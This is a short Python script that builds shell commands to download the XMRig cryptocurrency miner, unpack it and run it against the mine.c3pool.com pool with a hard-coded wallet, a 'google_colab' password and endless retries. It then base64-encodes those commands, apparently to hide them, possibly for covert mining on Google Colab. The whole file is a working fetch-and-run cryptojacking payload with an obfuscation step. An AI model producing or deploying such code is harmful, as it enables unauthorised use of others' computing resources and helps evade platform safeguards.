cmd = """curl -L https://github.com/xmrig/xmrig/releases/download/v6.10.0/xmrig-6.10.0-linux-static-x64.tar.gz -o xmrig-6.10.0-linux-static-x64.tar.gz && tar -xf xmrig-6.10.0-linux-static-x64.tar.gz"""
#cmd = """wget https://github.com/xmrig/xmrig/releases/download/v6.10.0/xmrig-6.10.0-linux-static-x64.tar.gz && tar -xf xmrig-6.10.0-linux-static-x64.tar.gz"""
cmd0 = "cd xmrig-6.10.0 && chmod +x xmrig && ./xmrig -k --donate-level=0 --retry-pause=5 --retries=999999999999 --url=mine.c3pool.com:15555 --user=41jrZkYboaLjTM2dQvnXvNGMag6ndhMF6aBpHcVKZc4tSuFCNj6N9Q4B41makr1LpRgqyUQADKbEnYJkJziMMtbWVPgqTjA --pass=google_colab"
#cmd0 = "cd xmrig-6.10.0 && chmod +x xmrig && ./xmrig --url=mine.c3pool.com:15555 --user=41jrZkYboaLjTM2dQvnXvNGMag6ndhMF6aBpHcVKZc4tSuFCNj6N9Q4B41makr1LpRgqyUQADKbEnYJkJziMMtbWVPgqTjA --pass=google_colab"

import base64

def encode(string):
    if type(string) == str:
        string = string.encode("utf-8")
    return base64.urlsafe_b64encode(string).decode("utf-8")

def decode(string):
    if type(string) == str:
        string = string.encode("utf-8")
    return base64.urlsafe_b64decode(string).decode("utf-8")

print(encode(cmd))
#print(decode(encode(cmd)))
print()
print(encode(cmd0))
